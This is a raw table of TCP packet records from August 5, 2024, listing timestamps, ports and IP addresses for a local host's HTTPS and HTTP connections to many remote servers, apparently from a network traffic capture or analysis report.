Aug 5, 2024 12:00:33.893238068 CEST	49738	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.894643068 CEST	49738	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.894665003 CEST	443	49738	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.895616055 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.895649910 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.895709991 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.895921946 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.895939112 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.060342073 CEST	443	49742	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.060405016 CEST	443	49742	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.060432911 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.060457945 CEST	443	49742	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.060477018 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.060503960 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.060511112 CEST	443	49742	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.060537100 CEST	443	49742	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.060549974 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.060583115 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.061804056 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.061820984 CEST	443	49742	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.063086987 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.063122988 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.063606977 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.064697981 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.064711094 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.394702911 CEST	443	49745	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.394771099 CEST	49745	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.402348995 CEST	49745	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.402367115 CEST	443	49745	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.402828932 CEST	49745	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.402836084 CEST	443	49745	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.418036938 CEST	443	49744	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.418113947 CEST	49744	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.419742107 CEST	49744	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.419779062 CEST	443	49744	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.419975042 CEST	49744	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.419986010 CEST	443	49744	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.526662111 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.526762962 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.539336920 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.539350986 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.539572001 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.539578915 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.701143980 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.701212883 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.701808929 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.701816082 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.701970100 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.701975107 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.776537895 CEST	49751	80	192.168.2.7	43.154.222.70
Aug 5, 2024 12:00:34.781424046 CEST	80	49751	43.154.222.70	192.168.2.7
Aug 5, 2024 12:00:34.781481028 CEST	49751	80	192.168.2.7	43.154.222.70
Aug 5, 2024 12:00:34.781667948 CEST	49751	80	192.168.2.7	43.154.222.70
Aug 5, 2024 12:00:34.786437035 CEST	80	49751	43.154.222.70	192.168.2.7
Aug 5, 2024 12:00:34.792825937 CEST	443	49745	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.792912006 CEST	49745	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.792924881 CEST	443	49745	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.793087006 CEST	49745	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.793349981 CEST	443	49745	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.793467999 CEST	443	49745	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.793517113 CEST	49745	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.796169043 CEST	49745	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.796180964 CEST	443	49745	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.796646118 CEST	49752	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.796658039 CEST	443	49752	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.797830105 CEST	49752	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.798625946 CEST	49752	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.798640013 CEST	443	49752	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.814002037 CEST	443	49744	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.814093113 CEST	49744	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.814151049 CEST	443	49744	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.814203978 CEST	49744	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.814977884 CEST	443	49744	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.815011024 CEST	443	49744	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.815031052 CEST	49744	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.815057993 CEST	49744	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.823877096 CEST	49744	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.823905945 CEST	443	49744	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.824505091 CEST	49753	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.824547052 CEST	443	49753	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.824614048 CEST	49753	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.833478928 CEST	49753	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:34.833513975 CEST	443	49753	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:34.966065884 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.966133118 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.966135025 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.966165066 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.966190100 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.966202021 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.966207981 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.966245890 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.966253042 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.966264009 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:34.966288090 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:34.966310024 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.023518085 CEST	49746	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.023544073 CEST	443	49746	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:35.023941994 CEST	49754	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.023993015 CEST	443	49754	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:35.024177074 CEST	49754	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.024513960 CEST	49754	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.024528980 CEST	443	49754	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:35.149779081 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:35.149877071 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.149899006 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:35.150003910 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.150013924 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:35.150095940 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.150118113 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:35.150161982 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.150168896 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:35.150206089 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:35.150234938 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.150254965 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.433202982 CEST	443	49752	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:35.433339119 CEST	49752	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:35.497673035 CEST	443	49753	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:35.497920990 CEST	49753	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:35.674504995 CEST	443	49754	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:35.677930117 CEST	49754	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:35.685594082 CEST	80	49751	43.154.222.70	192.168.2.7
Aug 5, 2024 12:00:35.685628891 CEST	80	49751	43.154.222.70	192.168.2.7
Aug 5, 2024 12:00:35.685697079 CEST	49751	80	192.168.2.7	43.154.222.70
Aug 5, 2024 12:00:35.685697079 CEST	49751	80	192.168.2.7	43.154.222.70
Aug 5, 2024 12:00:36.201805115 CEST	49747	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.201841116 CEST	443	49747	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.202404976 CEST	49755	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.202459097 CEST	443	49755	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.202531099 CEST	49755	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.202725887 CEST	49755	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.202733040 CEST	443	49755	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.209772110 CEST	49752	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.209790945 CEST	443	49752	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.211739063 CEST	49752	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.211745024 CEST	443	49752	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.213264942 CEST	49753	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.213332891 CEST	443	49753	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.213418007 CEST	49753	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.213433027 CEST	443	49753	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.214328051 CEST	49754	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.214346886 CEST	443	49754	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.216386080 CEST	49754	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.216392040 CEST	443	49754	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.503773928 CEST	443	49752	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.503868103 CEST	49752	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.503890991 CEST	443	49752	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.503937960 CEST	49752	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.506846905 CEST	443	49752	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.506890059 CEST	443	49752	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.506895065 CEST	49752	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.506938934 CEST	49752	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.522069931 CEST	49752	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.522088051 CEST	443	49752	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.523633003 CEST	49756	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.523705006 CEST	443	49756	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.523776054 CEST	49756	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.535729885 CEST	443	49753	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.535794973 CEST	49753	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.535821915 CEST	443	49753	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.535873890 CEST	49753	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.537951946 CEST	443	49753	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.538006067 CEST	49753	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.538088083 CEST	443	49753	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.538139105 CEST	49753	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.577753067 CEST	443	49754	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.577811956 CEST	49754	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.577825069 CEST	443	49754	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.577872038 CEST	49754	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.577877998 CEST	443	49754	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.577941895 CEST	443	49754	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.577948093 CEST	49754	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.578001976 CEST	49754	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.689194918 CEST	49755	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.948618889 CEST	49754	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.948647976 CEST	443	49754	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.953131914 CEST	49753	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.953176975 CEST	443	49753	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.953373909 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.953418016 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.953572035 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.953598976 CEST	49759	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.953639030 CEST	443	49759	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.953710079 CEST	49759	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.954169989 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.954183102 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.954246044 CEST	49759	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.954277039 CEST	443	49759	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.955015898 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.955034018 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:36.955101967 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.955225945 CEST	49756	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:36.955250978 CEST	443	49756	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:36.955795050 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:36.955832005 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:37.832856894 CEST	49762	80	192.168.2.7	103.107.217.26
Aug 5, 2024 12:00:37.833378077 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:37.837733984 CEST	80	49762	103.107.217.26	192.168.2.7
Aug 5, 2024 12:00:37.837820053 CEST	49762	80	192.168.2.7	103.107.217.26
Aug 5, 2024 12:00:37.838114977 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:37.838164091 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:37.839695930 CEST	49762	80	192.168.2.7	103.107.217.26
Aug 5, 2024 12:00:37.840085030 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:37.844515085 CEST	80	49762	103.107.217.26	192.168.2.7
Aug 5, 2024 12:00:37.844856024 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:37.861897945 CEST	49763	80	192.168.2.7	163.171.132.119
Aug 5, 2024 12:00:37.866729021 CEST	80	49763	163.171.132.119	192.168.2.7
Aug 5, 2024 12:00:37.866801977 CEST	49763	80	192.168.2.7	163.171.132.119
Aug 5, 2024 12:00:37.867712975 CEST	49763	80	192.168.2.7	163.171.132.119
Aug 5, 2024 12:00:37.872523069 CEST	80	49763	163.171.132.119	192.168.2.7
Aug 5, 2024 12:00:37.928169966 CEST	49765	80	192.168.2.7	163.181.130.191
Aug 5, 2024 12:00:37.932221889 CEST	49766	80	192.168.2.7	111.124.200.101
Aug 5, 2024 12:00:37.932957888 CEST	80	49765	163.181.130.191	192.168.2.7
Aug 5, 2024 12:00:37.933036089 CEST	49765	80	192.168.2.7	163.181.130.191
Aug 5, 2024 12:00:37.933976889 CEST	49765	80	192.168.2.7	163.181.130.191
Aug 5, 2024 12:00:37.936980963 CEST	80	49766	111.124.200.101	192.168.2.7
Aug 5, 2024 12:00:37.937139988 CEST	49766	80	192.168.2.7	111.124.200.101
Aug 5, 2024 12:00:37.938014030 CEST	49766	80	192.168.2.7	111.124.200.101
Aug 5, 2024 12:00:37.938801050 CEST	80	49765	163.181.130.191	192.168.2.7
Aug 5, 2024 12:00:37.942822933 CEST	80	49766	111.124.200.101	192.168.2.7
Aug 5, 2024 12:00:37.987189054 CEST	49768	80	192.168.2.7	43.132.73.61
Aug 5, 2024 12:00:37.991955996 CEST	80	49768	43.132.73.61	192.168.2.7
Aug 5, 2024 12:00:37.992064953 CEST	49768	80	192.168.2.7	43.132.73.61
Aug 5, 2024 12:00:37.993966103 CEST	49768	80	192.168.2.7	43.132.73.61
Aug 5, 2024 12:00:37.994981050 CEST	49769	80	192.168.2.7	119.28.109.132
Aug 5, 2024 12:00:37.998683929 CEST	80	49768	43.132.73.61	192.168.2.7
Aug 5, 2024 12:00:37.999861956 CEST	80	49769	119.28.109.132	192.168.2.7
Aug 5, 2024 12:00:38.000015974 CEST	49769	80	192.168.2.7	119.28.109.132
Aug 5, 2024 12:00:38.000838041 CEST	49769	80	192.168.2.7	119.28.109.132
Aug 5, 2024 12:00:38.005897045 CEST	80	49769	119.28.109.132	192.168.2.7
Aug 5, 2024 12:00:38.034166098 CEST	49770	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:00:38.039098978 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:38.039170980 CEST	49770	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:00:38.040139914 CEST	49770	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:00:38.045747995 CEST	80	49770	103.235.46.98	192.168.2.7
Aug 5, 2024 12:00:38.056752920 CEST	49771	80	192.168.2.7	104.192.110.226
Aug 5, 2024 12:00:38.060446978 CEST	49772	80	192.168.2.7	163.181.130.181
Aug 5, 2024 12:00:38.061956882 CEST	80	49771	104.192.110.226	192.168.2.7
Aug 5, 2024 12:00:38.062025070 CEST	49771	80	192.168.2.7	104.192.110.226
Aug 5, 2024 12:00:38.062926054 CEST	49771	80	192.168.2.7	104.192.110.226
Aug 5, 2024 12:00:38.066052914 CEST	80	49772	163.181.130.181	192.168.2.7
Aug 5, 2024 12:00:38.066126108 CEST	49772	80	192.168.2.7	163.181.130.181
Aug 5, 2024 12:00:38.067013025 CEST	49772	80	192.168.2.7	163.181.130.181
Aug 5, 2024 12:00:38.067812920 CEST	80	49771	104.192.110.226	192.168.2.7
Aug 5, 2024 12:00:38.070662022 CEST	49773	80	192.168.2.7	163.181.201.237
Aug 5, 2024 12:00:38.072501898 CEST	80	49772	163.181.130.181	192.168.2.7
Aug 5, 2024 12:00:38.075483084 CEST	80	49773	163.181.201.237	192.168.2.7
Aug 5, 2024 12:00:38.075557947 CEST	49773	80	192.168.2.7	163.181.201.237
Aug 5, 2024 12:00:38.076514959 CEST	49774	80	192.168.2.7	49.51.65.181
Aug 5, 2024 12:00:38.076540947 CEST	49773	80	192.168.2.7	163.181.201.237
Aug 5, 2024 12:00:38.077641964 CEST	49775	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:00:38.083049059 CEST	80	49774	49.51.65.181	192.168.2.7
Aug 5, 2024 12:00:38.083069086 CEST	80	49773	163.181.201.237	192.168.2.7
Aug 5, 2024 12:00:38.083108902 CEST	49774	80	192.168.2.7	49.51.65.181
Aug 5, 2024 12:00:38.083159924 CEST	80	49775	43.159.71.118	192.168.2.7
Aug 5, 2024 12:00:38.083224058 CEST	49775	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:00:38.084739923 CEST	49774	80	192.168.2.7	49.51.65.181
Aug 5, 2024 12:00:38.085025072 CEST	49775	80	192.168.2.7	43.159.71.118
Aug 5, 2024 12:00:38.089962959 CEST	80	49774	49.51.65.181	192.168.2.7
Aug 5, 2024 12:00:38.089979887 CEST	80	49775	43.159.71.118	192.168.2.7
Aug 5, 2024 12:00:38.351198912 CEST	49776	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:00:38.351999044 CEST	49777	80	192.168.2.7	47.94.225.221
Aug 5, 2024 12:00:38.353389025 CEST	49778	80	192.168.2.7	113.219.142.35
Aug 5, 2024 12:00:38.569726944 CEST	80	49763	163.171.132.119	192.168.2.7
Aug 5, 2024 12:00:38.571854115 CEST	80	49765	163.181.130.191	192.168.2.7
Aug 5, 2024 12:00:38.572197914 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:38.572212934 CEST	80	49777	47.94.225.221	192.168.2.7
Aug 5, 2024 12:00:38.572226048 CEST	80	49778	113.219.142.35	192.168.2.7
Aug 5, 2024 12:00:38.572333097 CEST	49776	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:00:38.572370052 CEST	49777	80	192.168.2.7	47.94.225.221
Aug 5, 2024 12:00:38.572398901 CEST	49778	80	192.168.2.7	113.219.142.35
Aug 5, 2024 12:00:38.575671911 CEST	443	49759	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:38.577128887 CEST	443	49758	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:38.577234030 CEST	49758	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:38.577848911 CEST	49759	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:38.581422091 CEST	443	49756	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:38.581511974 CEST	49756	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:38.582539082 CEST	443	49760	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:38.582626104 CEST	49760	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:38.605797052 CEST	49763	80	192.168.2.7	163.171.132.119
Aug 5, 2024 12:00:38.609220028 CEST	49776	80	192.168.2.7	120.26.110.170
Aug 5, 2024 12:00:38.610538960 CEST	49777	80	192.168.2.7	47.94.225.221
Aug 5, 2024 12:00:38.610964060 CEST	80	49763	163.171.132.119	192.168.2.7
Aug 5, 2024 12:00:38.611017942 CEST	49763	80	192.168.2.7	163.171.132.119
Aug 5, 2024 12:00:38.611634970 CEST	49778	80	192.168.2.7	113.219.142.35
Aug 5, 2024 12:00:38.614031076 CEST	80	49776	120.26.110.170	192.168.2.7
Aug 5, 2024 12:00:38.615298986 CEST	80	49777	47.94.225.221	192.168.2.7
Aug 5, 2024 12:00:38.616390944 CEST	80	49778	113.219.142.35	192.168.2.7
Aug 5, 2024 12:00:38.619653940 CEST	49765	80	192.168.2.7	163.181.130.191
Aug 5, 2024 12:00:38.621426105 CEST	49779	80	192.168.2.7	163.181.201.238
Aug 5, 2024 12:00:38.623317003 CEST	49780	80	192.168.2.7	43.159.119.252
Aug 5, 2024 12:00:38.624308109 CEST	49781	80	192.168.2.7	163.171.208.133
Aug 5, 2024 12:00:38.626216888 CEST	80	49779	163.181.201.238	192.168.2.7
Aug 5, 2024 12:00:38.626281023 CEST	49779	80	192.168.2.7	163.181.201.238
Aug 5, 2024 12:00:38.628042936 CEST	49779	80	192.168.2.7	163.181.201.238
Aug 5, 2024 12:00:38.628175974 CEST	80	49780	43.159.119.252	192.168.2.7
Aug 5, 2024 12:00:38.628343105 CEST	49780	80	192.168.2.7	43.159.119.252
Aug 5, 2024 12:00:38.629097939 CEST	80	49781	163.171.208.133	192.168.2.7
Aug 5, 2024 12:00:38.629282951 CEST	49781	80	192.168.2.7	163.171.208.133
Aug 5, 2024 12:00:38.629920006 CEST	49780	80	192.168.2.7	43.159.119.252
Aug 5, 2024 12:00:38.632066965 CEST	49781	80	192.168.2.7	163.171.208.133
Aug 5, 2024 12:00:38.632803917 CEST	80	49779	163.181.201.238	192.168.2.7
Aug 5, 2024 12:00:38.634659052 CEST	80	49780	43.159.119.252	192.168.2.7
Aug 5, 2024 12:00:38.636812925 CEST	80	49781	163.171.208.133	192.168.2.7
Aug 5, 2024 12:00:38.665221930 CEST	80	49774	49.51.65.181	192.168.2.7
Aug 5, 2024 12:00:38.691476107 CEST	49774	80	192.168.2.7	49.51.65.181
Aug 5, 2024 12:00:38.695776939 CEST	80	49772	163.181.130.181	192.168.2.7
Aug 5, 2024 12:00:38.715291023 CEST	49772	80	192.168.2.7	163.181.130.181
Aug 5, 2024 12:00:38.755187035 CEST	49782	80	192.168.2.7	45.194.34.247
Aug 5, 2024 12:00:38.760086060 CEST	80	49782	45.194.34.247	192.168.2.7
Aug 5, 2024 12:00:38.760190010 CEST	49782	80	192.168.2.7	45.194.34.247
Aug 5, 2024 12:00:38.775204897 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.775233030 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.775269985 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.775295019 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.775301933 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.775321960 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.775336981 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.775351048 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.775353909 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.775377035 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.775391102 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.775393963 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.775408983 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.775417089 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.775444031 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.780229092 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.780280113 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.780335903 CEST	49761	80	192.168.2.7	103.235.46.96
Aug 5, 2024 12:00:38.789351940 CEST	49782	80	192.168.2.7	45.194.34.247
Aug 5, 2024 12:00:38.794173956 CEST	80	49782	45.194.34.247	192.168.2.7
Aug 5, 2024 12:00:38.867579937 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.867674112 CEST	80	49761	103.235.46.96	192.168.2.7
Aug 5, 2024 12:00:38.867688894 CEST	80	49761	103.235.46.96	192.168.2.7
